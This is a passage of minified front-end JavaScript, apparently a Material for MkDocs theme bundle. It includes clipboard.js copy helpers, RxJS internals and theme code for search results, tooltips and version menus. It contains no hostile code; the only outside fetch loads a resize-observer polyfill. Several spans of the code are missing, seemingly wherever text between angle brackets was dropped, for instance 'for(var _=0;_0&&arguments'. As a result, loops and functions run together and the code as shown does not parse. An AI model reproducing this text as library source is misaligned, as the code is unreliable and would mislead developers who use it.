C=document.documentElement.getAttribute("dir")==="rtl",_=document.createElement("textarea");_.style.fontSize="12pt",_.style.border="0",_.style.padding="0",_.style.margin="0",_.style.position="absolute",_.style[C?"right":"left"]="-9999px";var D=window.pageYOffset||document.documentElement.scrollTop;return _.style.top="".concat(D,"px"),_.setAttribute("readonly",""),_.value=q,_}var ee=function(C,_){var D=L(C);_.container.appendChild(D);var V=f()(D);return u("copy"),D.remove(),V},ne=function(C){var _=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{container:document.body},D="";return typeof C=="string"?D=ee(C,_):C instanceof HTMLInputElement&&!["text","search","url","tel","password"].includes(C==null?void 0:C.type)?D=ee(C.value,_):(D=f()(C),u("copy")),D},Z=ne;function H(q){"@babel/helpers - typeof";return typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?H=function(_){return typeof _}:H=function(_){return _&&typeof Symbol=="function"&&_.constructor===Symbol&&_!==Symbol.prototype?"symbol":typeof _},H(q)}var ft=function(){var C=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{},_=C.action,D=_===void 0?"copy":_,V=C.container,G=C.target,Ue=C.text;if(D!=="copy"&&D!=="cut")throw new Error('Invalid "action" value, use either "copy" or "cut"');if(G!==void 0)if(G&&H(G)==="object"&&G.nodeType===1){if(D==="copy"&&G.hasAttribute("disabled"))throw new Error('Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute');if(D==="cut"&&(G.hasAttribute("readonly")||G.hasAttribute("disabled")))throw new Error(`Invalid "target" attribute. You can't cut text from elements with "readonly" or "disabled" attributes`)}else throw new Error('Invalid "target" value, use a valid Element');if(Ue)return Z(Ue,{container:V});if(G)return D==="cut"?g(G):Z(G,{container:V})},Fe=ft;function R(q){"@babel/helpers - typeof";return typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?R=function(_){return typeof _}:R=function(_){return _&&typeof Symbol=="function"&&_.constructor===Symbol&&_!==Symbol.prototype?"symbol":typeof _},R(q)}function se(q,C){if(!(q instanceof C))throw new TypeError("Cannot call a class as a function")}function ce(q,C){for(var _=0;_0&&arguments[0]!==void 0?arguments[0]:{};this.action=typeof V.action=="function"?V.action:this.defaultAction,this.target=typeof V.target=="function"?V.target:this.defaultTarget,this.text=typeof V.text=="function"?V.text:this.defaultText,this.container=R(V.container)==="object"?V.container:document.body}},{key:"listenClick",value:function(V){var G=this;this.listener=p()(V,"click",function(Ue){return G.onClick(Ue)})}},{key:"onClick",value:function(V){var G=V.delegateTarget||V.currentTarget,Ue=this.action(G)||"copy",Yt=Fe({action:Ue,container:this.container,target:this.target(G),text:this.text(G)});this.emit(Yt?"success":"error",{action:Ue,text:Yt,trigger:G,clearSelection:function(){G&&G.focus(),window.getSelection().removeAllRanges()}})}},{key:"defaultAction",value:function(V){return Mr("action",V)}},{key:"defaultTarget",value:function(V){var G=Mr("target",V);if(G)return document.querySelector(G)}},{key:"defaultText",value:function(V){return Mr("text",V)}},{key:"destroy",value:function(){this.listener.destroy()}}],[{key:"copy",value:function(V){var G=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{container:document.body};return Z(V,G)}},{key:"cut",value:function(V){return g(V)}},{key:"isSupported",value:function(){var V=arguments.length>0&&arguments[0]!==void 0?arguments[0]:["copy","cut"],G=typeof V=="string"?[V]:V,Ue=!!document.queryCommandSupported;return G.forEach(function(Yt){Ue=Ue&&!!document.queryCommandSupported(Yt)}),Ue}}]),_}(a()),Bi=Yi},828:function(o){var n=9;if(typeof Element!="undefined"&&!Element.prototype.matches){var i=Element.prototype;i.matches=i.matchesSelector||i.mozMatchesSelector||i.msMatchesSelector||i.oMatchesSelector||i.webkitMatchesSelector}function s(a,c){for(;a&&a.nodeType!==n;){if(typeof a.matches=="function"&&a.matches(c))return a;a=a.parentNode}}o.exports=s},438:function(o,n,i){var s=i(828);function a(l,f,u,d,g){var L=p.apply(this,arguments);return l.addEventListener(u,L,g),{destroy:function(){l.removeEventListener(u,L,g)}}}function c(l,f,u,d,g){return typeof l.addEventListener=="function"?a.apply(null,arguments):typeof u=="function"?a.bind(null,document).apply(null,arguments):(typeof l=="string"&&(l=document.querySelectorAll(l)),Array.prototype.map.call(l,function(L){return a(L,f,u,d,g)}))}function p(l,f,u,d){return function(g){g.delegateTarget=s(g.target,f),g.delegateTarget&&d.call(l,g)}}o.exports=c},879:function(o,n){n.node=function(i){return i!==void 0&&i instanceof HTMLElement&&i.nodeType===1},n.nodeList=function(i){var s=Object.prototype.toString.call(i);return i!==void 0&&(s==="[object NodeList]"||s==="[object HTMLCollection]")&&"length"in i&&(i.length===0||n.node(i[0]))},n.string=function(i){return typeof i=="string"||i instanceof String},n.fn=function(i){var s=Object.prototype.toString.call(i);return s==="[object Function]"}},370:function(o,n,i){var s=i(879),a=i(438);function c(u,d,g){if(!u&&!d&&!g)throw new Error("Missing required arguments");if(!s.string(d))throw new TypeError("Second argument must be a String");if(!s.fn(g))throw new TypeError("Third argument must be a Function");if(s.node(u))return p(u,d,g);if(s.nodeList(u))return l(u,d,g);if(s.string(u))return f(u,d,g);throw new TypeError("First argument must be a String, HTMLElement, HTMLCollection, or NodeList")}function p(u,d,g){return u.addEventListener(d,g),{destroy:function(){u.removeEventListener(d,g)}}}function l(u,d,g){return Array.prototype.forEach.call(u,function(L){L.addEventListener(d,g)}),{destroy:function(){Array.prototype.forEach.call(u,function(L){L.removeEventListener(d,g)})}}}function f(u,d,g){return a(document.body,u,d,g)}o.exports=c},817:function(o){function n(i){var s;if(i.nodeName==="SELECT")i.focus(),s=i.value;else if(i.nodeName==="INPUT"||i.nodeName==="TEXTAREA"){var a=i.hasAttribute("readonly");a||i.setAttribute("readonly",""),i.select(),i.setSelectionRange(0,i.value.length),a||i.removeAttribute("readonly"),s=i.value}else{i.hasAttribute("contenteditable")&&i.focus();var c=window.getSelection(),p=document.createRange();p.selectNodeContents(i),c.removeAllRanges(),c.addRange(p),s=c.toString()}return s}o.exports=n},279:function(o){function n(){}n.prototype={on:function(i,s,a){var c=this.e||(this.e={});return(c[i]||(c[i]=[])).push({fn:s,ctx:a}),this},once:function(i,s,a){var c=this;function p(){c.off(i,p),s.apply(a,arguments)}return p._=s,this.on(i,p,a)},emit:function(i){var s=[].slice.call(arguments,1),a=((this.e||(this.e={}))[i]||[]).slice(),c=0,p=a.length;for(c;c{"use strict";var us=/["'&<>]/;hi.exports=ds;function ds(e){var t=""+e,r=us.exec(t);if(!r)return t;var o,n="",i=0,s=0;for(i=r.index;i0&&i[i.length-1])&&(p[0]===6||p[0]===2)){r=0;continue}if(p[0]===3&&(!i||p[1]>i[0]&&p[1]=e.length&&(e=void 0),{value:e&&e[o++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")}function K(e,t){var r=typeof Symbol=="function"&&e[Symbol.iterator];if(!r)return e;var o=r.call(e),n,i=[],s;try{for(;(t===void 0||t-- >0)&&!(n=o.next()).done;)i.push(n.value)}catch(a){s={error:a}}finally{try{n&&!n.done&&(r=o.return)&&r.call(o)}finally{if(s)throw s.error}}return i}function B(e,t,r){if(r||arguments.length===2)for(var o=0,n=t.length,i;o1||a(u,d)})})}function a(u,d){try{c(o[u](d))}catch(g){f(i[0][3],g)}}function c(u){u.value instanceof ut?Promise.resolve(u.value.v).then(p,l):f(i[0][2],u)}function p(u){a("next",u)}function l(u){a("throw",u)}function f(u,d){u(d),i.shift(),i.length&&a(i[0][0],i[0][1])}}function Eo(e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var t=e[Symbol.asyncIterator],r;return t?t.call(e):(e=typeof Oe=="function"?Oe(e):e[Symbol.iterator](),r={},o("next"),o("throw"),o("return"),r[Symbol.asyncIterator]=function(){return this},r);function o(i){r[i]=e[i]&&function(s){return new Promise(function(a,c){s=e[i](s),n(a,c,s.done,s.value)})}}function n(i,s,a,c){Promise.resolve(c).then(function(p){i({value:p,done:a})},s)}}function P(e){return typeof e=="function"}function xt(e){var t=function(o){Error.call(o),o.stack=new Error().stack},r=e(t);return r.prototype=Object.create(Error.prototype),r.prototype.constructor=r,r}var Xt=xt(function(e){return function(r){e(this),this.message=r?r.length+` errors occurred during unsubscription: -`+r.map(function(o,n){return n+1+") "+o.toString()}).join(` - `):"",this.name="UnsubscriptionError",this.errors=r}});function Xe(e,t){if(e){var r=e.indexOf(t);0<=r&&e.splice(r,1)}}var ze=function(){function e(t){this.initialTeardown=t,this.closed=!1,this._parentage=null,this._finalizers=null}return e.prototype.unsubscribe=function(){var t,r,o,n,i;if(!this.closed){this.closed=!0;var s=this._parentage;if(s)if(this._parentage=null,Array.isArray(s))try{for(var a=Oe(s),c=a.next();!c.done;c=a.next()){var p=c.value;p.remove(this)}}catch(L){t={error:L}}finally{try{c&&!c.done&&(r=a.return)&&r.call(a)}finally{if(t)throw t.error}}else s.remove(this);var l=this.initialTeardown;if(P(l))try{l()}catch(L){i=L instanceof Xt?L.errors:[L]}var f=this._finalizers;if(f){this._finalizers=null;try{for(var u=Oe(f),d=u.next();!d.done;d=u.next()){var g=d.value;try{wo(g)}catch(L){i=i!=null?i:[],L instanceof Xt?i=B(B([],K(i)),K(L.errors)):i.push(L)}}}catch(L){o={error:L}}finally{try{d&&!d.done&&(n=u.return)&&n.call(u)}finally{if(o)throw o.error}}}if(i)throw new Xt(i)}},e.prototype.add=function(t){var r;if(t&&t!==this)if(this.closed)wo(t);else{if(t instanceof e){if(t.closed||t._hasParent(this))return;t._addParent(this)}(this._finalizers=(r=this._finalizers)!==null&&r!==void 0?r:[]).push(t)}},e.prototype._hasParent=function(t){var r=this._parentage;return r===t||Array.isArray(r)&&r.includes(t)},e.prototype._addParent=function(t){var r=this._parentage;this._parentage=Array.isArray(r)?(r.push(t),r):r?[r,t]:t},e.prototype._removeParent=function(t){var r=this._parentage;r===t?this._parentage=null:Array.isArray(r)&&Xe(r,t)},e.prototype.remove=function(t){var r=this._finalizers;r&&Xe(r,t),t instanceof e&&t._removeParent(this)},e.EMPTY=function(){var t=new e;return t.closed=!0,t}(),e}();var kr=ze.EMPTY;function Zt(e){return e instanceof ze||e&&"closed"in e&&P(e.remove)&&P(e.add)&&P(e.unsubscribe)}function wo(e){P(e)?e():e.unsubscribe()}var We={onUnhandledError:null,onStoppedNotification:null,Promise:void 0,useDeprecatedSynchronousErrorHandling:!1,useDeprecatedNextContext:!1};var yt={setTimeout:function(e,t){for(var r=[],o=2;o0},enumerable:!1,configurable:!0}),t.prototype._trySubscribe=function(r){return this._throwIfClosed(),e.prototype._trySubscribe.call(this,r)},t.prototype._subscribe=function(r){return this._throwIfClosed(),this._checkFinalizedStatuses(r),this._innerSubscribe(r)},t.prototype._innerSubscribe=function(r){var o=this,n=this,i=n.hasError,s=n.isStopped,a=n.observers;return i||s?kr:(this.currentObservers=null,a.push(r),new ze(function(){o.currentObservers=null,Xe(a,r)}))},t.prototype._checkFinalizedStatuses=function(r){var o=this,n=o.hasError,i=o.thrownError,s=o.isStopped;n?r.error(i):s&&r.complete()},t.prototype.asObservable=function(){var r=new I;return r.source=this,r},t.create=function(r,o){return new Co(r,o)},t}(I);var Co=function(e){ie(t,e);function t(r,o){var n=e.call(this)||this;return n.destination=r,n.source=o,n}return t.prototype.next=function(r){var o,n;(n=(o=this.destination)===null||o===void 0?void 0:o.next)===null||n===void 0||n.call(o,r)},t.prototype.error=function(r){var o,n;(n=(o=this.destination)===null||o===void 0?void 0:o.error)===null||n===void 0||n.call(o,r)},t.prototype.complete=function(){var r,o;(o=(r=this.destination)===null||r===void 0?void 0:r.complete)===null||o===void 0||o.call(r)},t.prototype._subscribe=function(r){var o,n;return(n=(o=this.source)===null||o===void 0?void 0:o.subscribe(r))!==null&&n!==void 0?n:kr},t}(T);var jr=function(e){ie(t,e);function t(r){var o=e.call(this)||this;return o._value=r,o}return Object.defineProperty(t.prototype,"value",{get:function(){return this.getValue()},enumerable:!1,configurable:!0}),t.prototype._subscribe=function(r){var o=e.prototype._subscribe.call(this,r);return!o.closed&&r.next(this._value),o},t.prototype.getValue=function(){var r=this,o=r.hasError,n=r.thrownError,i=r._value;if(o)throw n;return this._throwIfClosed(),i},t.prototype.next=function(r){e.prototype.next.call(this,this._value=r)},t}(T);var Pt={now:function(){return(Pt.delegate||Date).now()},delegate:void 0};var It=function(e){ie(t,e);function t(r,o,n){r===void 0&&(r=1/0),o===void 0&&(o=1/0),n===void 0&&(n=Pt);var i=e.call(this)||this;return i._bufferSize=r,i._windowTime=o,i._timestampProvider=n,i._buffer=[],i._infiniteTimeWindow=!0,i._infiniteTimeWindow=o===1/0,i._bufferSize=Math.max(1,r),i._windowTime=Math.max(1,o),i}return t.prototype.next=function(r){var o=this,n=o.isStopped,i=o._buffer,s=o._infiniteTimeWindow,a=o._timestampProvider,c=o._windowTime;n||(i.push(r),!s&&i.push(a.now()+c)),this._trimBuffer(),e.prototype.next.call(this,r)},t.prototype._subscribe=function(r){this._throwIfClosed(),this._trimBuffer();for(var o=this._innerSubscribe(r),n=this,i=n._infiniteTimeWindow,s=n._buffer,a=s.slice(),c=0;c0?e.prototype.schedule.call(this,r,o):(this.delay=o,this.state=r,this.scheduler.flush(this),this)},t.prototype.execute=function(r,o){return o>0||this.closed?e.prototype.execute.call(this,r,o):this._execute(r,o)},t.prototype.requestAsyncId=function(r,o,n){return n===void 0&&(n=0),n!=null&&n>0||n==null&&this.delay>0?e.prototype.requestAsyncId.call(this,r,o,n):(r.flush(this),0)},t}(St);var ko=function(e){ie(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t}(Ot);var Dr=new ko($o);var Ro=function(e){ie(t,e);function t(r,o){var n=e.call(this,r,o)||this;return n.scheduler=r,n.work=o,n}return t.prototype.requestAsyncId=function(r,o,n){return n===void 0&&(n=0),n!==null&&n>0?e.prototype.requestAsyncId.call(this,r,o,n):(r.actions.push(this),r._scheduled||(r._scheduled=Tt.requestAnimationFrame(function(){return r.flush(void 0)})))},t.prototype.recycleAsyncId=function(r,o,n){var i;if(n===void 0&&(n=0),n!=null?n>0:this.delay>0)return e.prototype.recycleAsyncId.call(this,r,o,n);var s=r.actions;o!=null&&((i=s[s.length-1])===null||i===void 0?void 0:i.id)!==o&&(Tt.cancelAnimationFrame(o),r._scheduled=void 0)},t}(St);var Po=function(e){ie(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.flush=function(r){this._active=!0;var o=this._scheduled;this._scheduled=void 0;var n=this.actions,i;r=r||n.shift();do if(i=r.execute(r.state,r.delay))break;while((r=n[0])&&r.id===o&&n.shift());if(this._active=!1,i){for(;(r=n[0])&&r.id===o&&n.shift();)r.unsubscribe();throw i}},t}(Ot);var ge=new Po(Ro);var x=new I(function(e){return e.complete()});function rr(e){return e&&P(e.schedule)}function Nr(e){return e[e.length-1]}function ct(e){return P(Nr(e))?e.pop():void 0}function Ie(e){return rr(Nr(e))?e.pop():void 0}function or(e,t){return typeof Nr(e)=="number"?e.pop():t}var Lt=function(e){return e&&typeof e.length=="number"&&typeof e!="function"};function nr(e){return P(e==null?void 0:e.then)}function ir(e){return P(e[wt])}function ar(e){return Symbol.asyncIterator&&P(e==null?void 0:e[Symbol.asyncIterator])}function sr(e){return new TypeError("You provided "+(e!==null&&typeof e=="object"?"an invalid object":"'"+e+"'")+" where a stream was expected. You can provide an Observable, Promise, ReadableStream, Array, AsyncIterable, or Iterable.")}function pa(){return typeof Symbol!="function"||!Symbol.iterator?"@@iterator":Symbol.iterator}var cr=pa();function pr(e){return P(e==null?void 0:e[cr])}function lr(e){return yo(this,arguments,function(){var r,o,n,i;return Jt(this,function(s){switch(s.label){case 0:r=e.getReader(),s.label=1;case 1:s.trys.push([1,,9,10]),s.label=2;case 2:return[4,ut(r.read())];case 3:return o=s.sent(),n=o.value,i=o.done,i?[4,ut(void 0)]:[3,5];case 4:return[2,s.sent()];case 5:return[4,ut(n)];case 6:return[4,s.sent()];case 7:return s.sent(),[3,2];case 8:return[3,10];case 9:return r.releaseLock(),[7];case 10:return[2]}})})}function mr(e){return P(e==null?void 0:e.getReader)}function U(e){if(e instanceof I)return e;if(e!=null){if(ir(e))return la(e);if(Lt(e))return ma(e);if(nr(e))return fa(e);if(ar(e))return Io(e);if(pr(e))return ua(e);if(mr(e))return da(e)}throw sr(e)}function la(e){return new I(function(t){var r=e[wt]();if(P(r.subscribe))return r.subscribe(t);throw new TypeError("Provided object does not correctly implement Symbol.observable")})}function ma(e){return new I(function(t){for(var r=0;r=2;return function(o){return o.pipe(e?v(function(n,i){return e(n,i,o)}):be,Ee(1),r?rt(t):Zo(function(){return new ur}))}}function Yr(e){return e<=0?function(){return x}:E(function(t,r){var o=[];t.subscribe(w(r,function(n){o.push(n),e=2,!0))}function le(e){e===void 0&&(e={});var t=e.connector,r=t===void 0?function(){return new T}:t,o=e.resetOnError,n=o===void 0?!0:o,i=e.resetOnComplete,s=i===void 0?!0:i,a=e.resetOnRefCountZero,c=a===void 0?!0:a;return function(p){var l,f,u,d=0,g=!1,L=!1,ee=function(){f==null||f.unsubscribe(),f=void 0},ne=function(){ee(),l=u=void 0,g=L=!1},Z=function(){var H=l;ne(),H==null||H.unsubscribe()};return E(function(H,ft){d++,!L&&!g&&ee();var Fe=u=u!=null?u:r();ft.add(function(){d--,d===0&&!L&&!g&&(f=Br(Z,c))}),Fe.subscribe(ft),!l&&d>0&&(l=new ht({next:function(R){return Fe.next(R)},error:function(R){L=!0,ee(),f=Br(ne,n,R),Fe.error(R)},complete:function(){g=!0,ee(),f=Br(ne,s),Fe.complete()}}),U(H).subscribe(l))})(p)}}function Br(e,t){for(var r=[],o=2;oe.next(document)),e}function M(e,t=document){return Array.from(t.querySelectorAll(e))}function F(e,t=document){let r=ue(e,t);if(typeof r=="undefined")throw new ReferenceError(`Missing element: expected "${e}" to be present`);return r}function ue(e,t=document){return t.querySelector(e)||void 0}function Ve(){var e,t,r,o;return(o=(r=(t=(e=document.activeElement)==null?void 0:e.shadowRoot)==null?void 0:t.activeElement)!=null?r:document.activeElement)!=null?o:void 0}var $a=O(h(document.body,"focusin"),h(document.body,"focusout")).pipe(Ae(1),Q(void 0),m(()=>Ve()||document.body),X(1));function Ke(e){return $a.pipe(m(t=>e.contains(t)),Y())}function nt(e,t){return $(()=>O(h(e,"mouseenter").pipe(m(()=>!0)),h(e,"mouseleave").pipe(m(()=>!1))).pipe(t?jt(r=>$e(+!r*t)):be,Q(e.matches(":hover"))))}function nn(e,t){if(typeof t=="string"||typeof t=="number")e.innerHTML+=t.toString();else if(t instanceof Node)e.appendChild(t);else if(Array.isArray(t))for(let r of t)nn(e,r)}function y(e,t,...r){let o=document.createElement(e);if(t)for(let n of Object.keys(t))typeof t[n]!="undefined"&&(typeof t[n]!="boolean"?o.setAttribute(n,t[n]):o.setAttribute(n,""));for(let n of r)nn(o,n);return o}function br(e){if(e>999){let t=+((e-950)%1e3>99);return`${((e+1e-6)/1e3).toFixed(t)}k`}else return e.toString()}function At(e){let t=y("script",{src:e});return $(()=>(document.head.appendChild(t),O(h(t,"load"),h(t,"error").pipe(b(()=>Vr(()=>new ReferenceError(`Invalid script: ${e}`))))).pipe(m(()=>{}),A(()=>document.head.removeChild(t)),Ee(1))))}var an=new T,ka=$(()=>typeof ResizeObserver=="undefined"?At("https://unpkg.com/resize-observer-polyfill"):k(void 0)).pipe(m(()=>new ResizeObserver(e=>e.forEach(t=>an.next(t)))),b(e=>O(et,k(e)).pipe(A(()=>e.disconnect()))),X(1));function de(e){return{width:e.offsetWidth,height:e.offsetHeight}}function Le(e){let t=e;for(;t.clientWidth===0&&t.parentElement;)t=t.parentElement;return ka.pipe(S(r=>r.observe(t)),b(r=>an.pipe(v(o=>o.target===t),A(()=>r.unobserve(t)))),m(()=>de(e)),Q(de(e)))}function Ct(e){return{width:e.scrollWidth,height:e.scrollHeight}}function vr(e){let t=e.parentElement;for(;t&&(e.scrollWidth<=t.scrollWidth&&e.scrollHeight<=t.scrollHeight);)t=(e=t).parentElement;return t?e:void 0}function sn(e){let t=[],r=e.parentElement;for(;r;)(e.clientWidth>r.clientWidth||e.clientHeight>r.clientHeight)&&t.push(r),r=(e=r).parentElement;return t.length===0&&t.push(document.documentElement),t}function Qe(e){return{x:e.offsetLeft,y:e.offsetTop}}function cn(e){let t=e.getBoundingClientRect();return{x:t.x+window.scrollX,y:t.y+window.scrollY}}function pn(e){return O(h(window,"load"),h(window,"resize")).pipe(ke(0,ge),m(()=>Qe(e)),Q(Qe(e)))}function gr(e){return{x:e.scrollLeft,y:e.scrollTop}}function Ye(e){return O(h(e,"scroll"),h(window,"scroll"),h(window,"resize")).pipe(ke(0,ge),m(()=>gr(e)),Q(gr(e)))}var ln=new T,Ra=$(()=>k(new IntersectionObserver(e=>{for(let t of e)ln.next(t)},{threshold:0}))).pipe(b(e=>O(et,k(e)).pipe(A(()=>e.disconnect()))),X(1));function lt(e){return Ra.pipe(S(t=>t.observe(e)),b(t=>ln.pipe(v(({target:r})=>r===e),A(()=>t.unobserve(e)),m(({isIntersecting:r})=>r))))}function mn(e,t=16){return Ye(e).pipe(m(({y:r})=>{let o=de(e),n=Ct(e);return r>=n.height-o.height-t}),Y())}var xr={drawer:F("[data-md-toggle=drawer]"),search:F("[data-md-toggle=search]")};function fn(e){return xr[e].checked}function it(e,t){xr[e].checked!==t&&xr[e].click()}function Be(e){let t=xr[e];return h(t,"change").pipe(m(()=>t.checked),Q(t.checked))}function Pa(e,t){switch(e.constructor){case HTMLInputElement:return e.type==="radio"?/^Arrow/.test(t):!0;case HTMLSelectElement:case HTMLTextAreaElement:return!0;default:return e.isContentEditable}}function Ia(){return O(h(window,"compositionstart").pipe(m(()=>!0)),h(window,"compositionend").pipe(m(()=>!1))).pipe(Q(!1))}function un(){let e=h(window,"keydown").pipe(v(t=>!(t.metaKey||t.ctrlKey)),m(t=>({mode:fn("search")?"search":"global",type:t.key,claim(){t.preventDefault(),t.stopPropagation()}})),v(({mode:t,type:r})=>{if(t==="global"){let o=Ve();if(typeof o!="undefined")return!Pa(o,r)}return!0}),le());return Ia().pipe(b(t=>t?x:e))}function we(){return new URL(location.href)}function at(e,t=!1){if(N("navigation.instant")&&!t){let r=y("a",{href:e.href});document.body.appendChild(r),r.click(),r.remove()}else location.href=e.href}function dn(){return new T}function hn(){return location.hash.slice(1)}function bn(e){let t=y("a",{href:e});t.addEventListener("click",r=>r.stopPropagation()),t.click()}function Zr(e){return O(h(window,"hashchange"),e).pipe(m(hn),Q(hn()),v(t=>t.length>0),X(1))}function vn(e){return Zr(e).pipe(m(t=>ue(`[id="${t}"]`)),v(t=>typeof t!="undefined"))}function Wt(e){let t=matchMedia(e);return dr(r=>t.addListener(()=>r(t.matches))).pipe(Q(t.matches))}function gn(){let e=matchMedia("print");return O(h(window,"beforeprint").pipe(m(()=>!0)),h(window,"afterprint").pipe(m(()=>!1))).pipe(Q(e.matches))}function eo(e,t){return e.pipe(b(r=>r?t():x))}function to(e,t){return new I(r=>{let o=new XMLHttpRequest;return o.open("GET",`${e}`),o.responseType="blob",o.addEventListener("load",()=>{o.status>=200&&o.status<300?(r.next(o.response),r.complete()):r.error(new Error(o.statusText))}),o.addEventListener("error",()=>{r.error(new Error("Network error"))}),o.addEventListener("abort",()=>{r.complete()}),typeof(t==null?void 0:t.progress$)!="undefined"&&(o.addEventListener("progress",n=>{var i;if(n.lengthComputable)t.progress$.next(n.loaded/n.total*100);else{let s=(i=o.getResponseHeader("Content-Length"))!=null?i:0;t.progress$.next(n.loaded/+s*100)}}),t.progress$.next(5)),o.send(),()=>o.abort()})}function Ge(e,t){return to(e,t).pipe(b(r=>r.text()),m(r=>JSON.parse(r)),X(1))}function yr(e,t){let r=new DOMParser;return to(e,t).pipe(b(o=>o.text()),m(o=>r.parseFromString(o,"text/html")),X(1))}function xn(e,t){let r=new DOMParser;return to(e,t).pipe(b(o=>o.text()),m(o=>r.parseFromString(o,"text/xml")),X(1))}function yn(){return{x:Math.max(0,scrollX),y:Math.max(0,scrollY)}}function En(){return O(h(window,"scroll",{passive:!0}),h(window,"resize",{passive:!0})).pipe(m(yn),Q(yn()))}function wn(){return{width:innerWidth,height:innerHeight}}function Tn(){return h(window,"resize",{passive:!0}).pipe(m(wn),Q(wn()))}function Sn(){return z([En(),Tn()]).pipe(m(([e,t])=>({offset:e,size:t})),X(1))}function Er(e,{viewport$:t,header$:r}){let o=t.pipe(oe("size")),n=z([o,r]).pipe(m(()=>Qe(e)));return z([r,t,n]).pipe(m(([{height:i},{offset:s,size:a},{x:c,y:p}])=>({offset:{x:s.x-c,y:s.y-p+i},size:a})))}function Fa(e){return h(e,"message",t=>t.data)}function ja(e){let t=new T;return t.subscribe(r=>e.postMessage(r)),t}function On(e,t=new Worker(e)){let r=Fa(t),o=ja(t),n=new T;n.subscribe(o);let i=o.pipe(re(),ae(!0));return n.pipe(re(),Ne(r.pipe(W(i))),le())}var Ua=F("#__config"),Ht=JSON.parse(Ua.textContent);Ht.base=`${new URL(Ht.base,we())}`;function Te(){return Ht}function N(e){return Ht.features.includes(e)}function Me(e,t){return typeof t!="undefined"?Ht.translations[e].replace("#",t.toString()):Ht.translations[e]}function Ce(e,t=document){return F(`[data-md-component=${e}]`,t)}function me(e,t=document){return M(`[data-md-component=${e}]`,t)}function Wa(e){let t=F(".md-typeset > :first-child",e);return h(t,"click",{once:!0}).pipe(m(()=>F(".md-typeset",e)),m(r=>({hash:__md_hash(r.innerHTML)})))}function Ln(e){if(!N("announce.dismiss")||!e.childElementCount)return x;if(!e.hidden){let t=F(".md-typeset",e);__md_hash(t.innerHTML)===__md_get("__announce")&&(e.hidden=!0)}return $(()=>{let t=new T;return t.subscribe(({hash:r})=>{e.hidden=!0,__md_set("__announce",r)}),Wa(e).pipe(S(r=>t.next(r)),A(()=>t.complete()),m(r=>j({ref:e},r)))})}function Da(e,{target$:t}){return t.pipe(m(r=>({hidden:r!==e})))}function Mn(e,t){let r=new T;return r.subscribe(({hidden:o})=>{e.hidden=o}),Da(e,t).pipe(S(o=>r.next(o)),A(()=>r.complete()),m(o=>j({ref:e},o)))}function Dt(e,t){return t==="inline"?y("div",{class:"md-tooltip md-tooltip--inline",id:e,role:"tooltip"},y("div",{class:"md-tooltip__inner md-typeset"})):y("div",{class:"md-tooltip",id:e,role:"tooltip"},y("div",{class:"md-tooltip__inner md-typeset"}))}function wr(...e){return y("div",{class:"md-tooltip2",role:"dialog"},y("div",{class:"md-tooltip2__inner md-typeset"},e))}function _n(...e){return y("div",{class:"md-tooltip2",role:"tooltip"},y("div",{class:"md-tooltip2__inner md-typeset"},e))}function An(e,t){if(t=t?`${t}_annotation_${e}`:void 0,t){let r=t?`#${t}`:void 0;return y("aside",{class:"md-annotation",tabIndex:0},Dt(t),y("a",{href:r,class:"md-annotation__index",tabIndex:-1},y("span",{"data-md-annotation-id":e})))}else return y("aside",{class:"md-annotation",tabIndex:0},Dt(t),y("span",{class:"md-annotation__index",tabIndex:-1},y("span",{"data-md-annotation-id":e})))}function Cn(e){return y("button",{class:"md-code__button",title:Me("clipboard.copy"),"data-clipboard-target":`#${e} > code`,"data-md-type":"copy"})}function Hn(){return y("button",{class:"md-code__button",title:"Toggle line selection","data-md-type":"select"})}function $n(){return y("nav",{class:"md-code__nav"})}function ro(e,t){let r=t&2,o=t&1,n=Object.keys(e.terms).filter(c=>!e.terms[c]).reduce((c,p)=>[...c,y("del",null,p)," "],[]).slice(0,-1),i=Te(),s=new URL(e.location,i.base);N("search.highlight")&&s.searchParams.set("h",Object.entries(e.terms).filter(([,c])=>c).reduce((c,[p])=>`${c} ${p}`.trim(),""));let{tags:a}=Te();return y("a",{href:`${s}`,class:"md-search-result__link",tabIndex:-1},y("article",{class:"md-search-result__article md-typeset","data-md-score":e.score.toFixed(2)},r>0&&y("div",{class:"md-search-result__icon md-icon"}),r>0&&y("h1",null,e.title),r<=0&&y("h2",null,e.title),o>0&&e.text.length>0&&e.text,e.tags&&e.tags.map(c=>{let p=a?c in a?`md-tag-icon md-tag--${a[c]}`:"md-tag-icon":"";return y("span",{class:`md-tag ${p}`},c)}),o>0&&n.length>0&&y("p",{class:"md-search-result__terms"},Me("search.result.term.missing"),": ",...n)))}function kn(e){let t=e[0].score,r=[...e],o=Te(),n=r.findIndex(l=>!`${new URL(l.location,o.base)}`.includes("#")),[i]=r.splice(n,1),s=r.findIndex(l=>l.scorero(l,1)),...c.length?[y("details",{class:"md-search-result__more"},y("summary",{tabIndex:-1},y("div",null,c.length>0&&c.length===1?Me("search.result.more.one"):Me("search.result.more.other",c.length))),...c.map(l=>ro(l,1)))]:[]];return y("li",{class:"md-search-result__item"},p)}function Rn(e){return y("ul",{class:"md-source__facts"},Object.entries(e).map(([t,r])=>y("li",{class:`md-source__fact md-source__fact--${t}`},typeof r=="number"?br(r):r)))}function oo(e){let t=`tabbed-control tabbed-control--${e}`;return y("div",{class:t,hidden:!0},y("button",{class:"tabbed-button",tabIndex:-1,"aria-hidden":"true"}))}function Pn(e){return y("div",{class:"md-typeset__scrollwrap"},y("div",{class:"md-typeset__table"},e))}function Na(e){var o;let t=Te(),r=new URL(`../${e.version}/`,t.base);return y("li",{class:"md-version__item"},y("a",{href:`${r}`,class:"md-version__link"},e.title,((o=t.version)==null?void 0:o.alias)&&e.aliases.length>0&&y("span",{class:"md-version__alias"},e.aliases[0])))}function In(e,t){var o;let r=Te();return e=e.filter(n=>{var i;return!((i=n.properties)!=null&&i.hidden)}),y("div",{class:"md-version"},y("button",{class:"md-version__current","aria-label":Me("select.version")},t.title,((o=r.version)==null?void 0:o.alias)&&t.aliases.length>0&&y("span",{class:"md-version__alias"},t.aliases[0])),y("ul",{class:"md-version__list"},e.map(Na)))}var 